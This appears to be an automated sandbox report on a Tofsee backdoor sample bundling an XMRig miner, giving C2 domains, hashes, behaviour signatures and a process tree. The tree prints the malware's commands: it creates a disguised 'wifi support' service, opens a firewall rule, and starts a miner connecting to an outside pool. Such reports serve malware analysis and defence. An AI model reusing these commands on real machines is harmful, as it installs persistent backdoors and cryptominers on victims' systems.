Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/12/2022, 03:58

General

  • Target
    file.exe
  • Size 228KB
  • Sample221222-ejg4psha6w
  • SHA256 32a75b79046208655359f0c660c31bc20c85e60c64d886db12a0d1016ed0dcf3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4252
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gskxvwqx\
      2⤵
        PID:4492
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nuuyzjte.exe" C:\Windows\SysWOW64\gskxvwqx\
        2⤵
          PID:1340
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gskxvwqx binPath= "C:\Windows\SysWOW64\gskxvwqx\nuuyzjte.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4520
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gskxvwqx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3740
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gskxvwqx
          2⤵
          • Launches sc.exe
          PID:912
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4084
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 600
          2⤵
          • Program crash
          PID:1868
      • C:\Windows\SysWOW64\gskxvwqx\nuuyzjte.exe
        C:\Windows\SysWOW64\gskxvwqx\nuuyzjte.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5024
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1404
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4484
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5024 -s 512
          2⤵
          • Program crash
          PID:5116
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4252 -ip 4252
        1⤵
          PID:3620
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5024 -ip 5024
          1⤵
            PID:684

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                nuuyzjte.exe

                • Path C:\Users\Admin\AppData\Local\Temp\nuuyzjte.exe
                • Size 14.6MB
                • SHA256 f7aa561be3b147fa28a08911df6bda4f735dd80d01bfc30c2b39fb4f126b75ce
                • MD5 SHA1 SHA512 SSDEEP

                nuuyzjte.exe

                • Path C:\Windows\SysWOW64\gskxvwqx\nuuyzjte.exe
                • Size 14.6MB
                • SHA256 f7aa561be3b147fa28a08911df6bda4f735dd80d01bfc30c2b39fb4f126b75ce
                • MD5 SHA1 SHA512 SSDEEP

                memory/1404-159-0x00000000019B0000-0x00000000019C0000-memory.dmp

                memory/1404-151-0x0000000000320000-0x0000000000335000-memory.dmp

                memory/1404-168-0x00000000025E0000-0x00000000025E7000-memory.dmp

                memory/1404-165-0x0000000007100000-0x000000000750B000-memory.dmp

                memory/1404-162-0x00000000025D0000-0x00000000025D5000-memory.dmp

                memory/1404-156-0x00000000019A0000-0x00000000019A6000-memory.dmp

                memory/1404-153-0x0000000002200000-0x000000000240F000-memory.dmp

                memory/1404-152-0x0000000000320000-0x0000000000335000-memory.dmp

                memory/1404-146-0x0000000000320000-0x0000000000335000-memory.dmp

                memory/4252-144-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/4252-143-0x0000000000753000-0x0000000000764000-memory.dmp

                memory/4252-132-0x0000000000753000-0x0000000000764000-memory.dmp

                memory/4252-133-0x0000000000620000-0x0000000000633000-memory.dmp

                memory/4252-134-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/4484-172-0x0000000001000000-0x00000000010F1000-memory.dmp

                memory/4484-177-0x0000000001000000-0x00000000010F1000-memory.dmp

                memory/5024-150-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/5024-149-0x000000000048E000-0x000000000049E000-memory.dmp